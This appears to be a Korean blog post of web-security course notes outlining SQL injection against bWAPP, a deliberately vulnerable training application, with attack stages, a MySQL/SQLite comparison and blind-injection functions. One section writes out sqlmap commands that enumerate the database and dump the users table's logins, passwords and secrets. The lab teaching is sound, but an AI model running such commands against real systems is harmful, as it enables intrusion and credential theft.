1.. SQL 인젝션 공격 단계
- 웹 페이지 파악
- SQL 취약점 파악
- 데이터베이스 이름 찾기
- 테이블 이름 찾기
- 해당 테이블의 컬럼 찾기
- 컬럼 안에 저장된 데이터 값 찾기
2. SQL Injection (GET/Search)
① movies 테이블 컬럼 개수 파악
② 2,3,5,4 컬럼에 데이터베이스 관련 정보 출력
③ bWAPP -> 'users' 찾기
④ bWAPP -> users -> '컬럼' 찾기
⑤ bWAPP -> users -> 컬럼 -> '컬럼 데이터 값' 찾기
- high 레벨에서는 'mysqli_real_escape_string' 함수를 이용하기 때문에 SQL 문의 문자열을 Escape한 상태로 만들어준다.
3. SQL Injection (POST/Search)
4. SQL Injection (GET/Select)
5. SQL Injection (POST/Select)
5-1. 'sqlmap' 도구를 이용한 SQL 인젝션
- 쿠키 정보와 변수 이름(GET 방식은 URL에 출력됨)은 버프 슈트를 이용하여 찾는다.
sqlmap -hh
sqlmap -v 3 -u "http://[타겟 IP]/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=435b9ec32c1f98d67ec754f6977452ac" --data "movie=1&action=go" --schema
sqlmap -v 3 -u "http://[타겟 IP]/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=435b9ec32c1f98d67ec754f6977452ac" --data "movie=1&action=go" --dbs
sqlmap -v 3 -u "http://[타겟 IP]/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=435b9ec32c1f98d67ec754f6977452ac" --data "movie=1&action=go" -D bWAPP --tables
sqlmap -v 3 -u "http://[타겟 IP]/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=435b9ec32c1f98d67ec754f6977452ac" --data "movie=1&action=go" -D bWAPP -T users --column
sqlmap -v 3 -u "http://[타겟 IP]/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=435b9ec32c1f98d67ec754f6977452ac" --data "movie=1&action=go" -D bWAPP -T users -C id,login,password,secret --dump
cat /root/.sqlmap/output/[타겟 IP]/dump/bWAPP/users.csv
6. SQL Injection (AJAX/JSON/jQuery)
7. SQL Injection (Login Form/Hero)
8. SQL Injection (Login Form/User)
9. SQL Injection (SQLite)
[참고] 다음은 MySQL과 SQLite 기본 명령어 및 컬럼 차이점이다.
MySQL | SQLite | |
DB | information_schema | sqlite_master |
주석 | # | -- |
테이블 이름 | table_name | tbl_name |
컬럼 이름 | column_name | sql |
10. SQL Injection - Stored (Blog)
11. SQL Injection - Stored (SQLite)
12. SQL Injection - Stored (User-Agent)
13. SQL Injection - Blind - Boolean-Based
[참고] Blind 방식에서 필요한 함수
- length() 지정한 문자열의 길이를 반환(문자열 개수를 확인할 수 있다.)
- substring() 지정한 문자열의 내용을 반환(문자열 내용을 확인할 수 있다.)
- ascii() 지정한 문자열을 ACSII 10진수 값으로 반환(문자의 10진수 값 내용을 확인할 수 있다.)
14. SQL Injection - Blind - Time-Based
[참고] Time-Based 방식에서 필요한 함수
- sleep() 지연 발생 함수
15. SQL Injection - Blind (SQLite)
16. SQL Injection - Blind (WS/SOAP)
'메가IT아카데미 국기과정 > JAVA와 웹보안' 카테고리의 다른 글
[1-6] XSS Injection (0) | 2022.09.13 |
---|---|
[1-5] XML Injection (0) | 2022.09.12 |
[1-3] bWAPP 데이터베이스 분석 (0) | 2022.09.12 |
[1-2] OS Comman&PHP Code&SSI Injection (0) | 2022.09.12 |
[1-1] HTML Injection (0) | 2022.09.12 |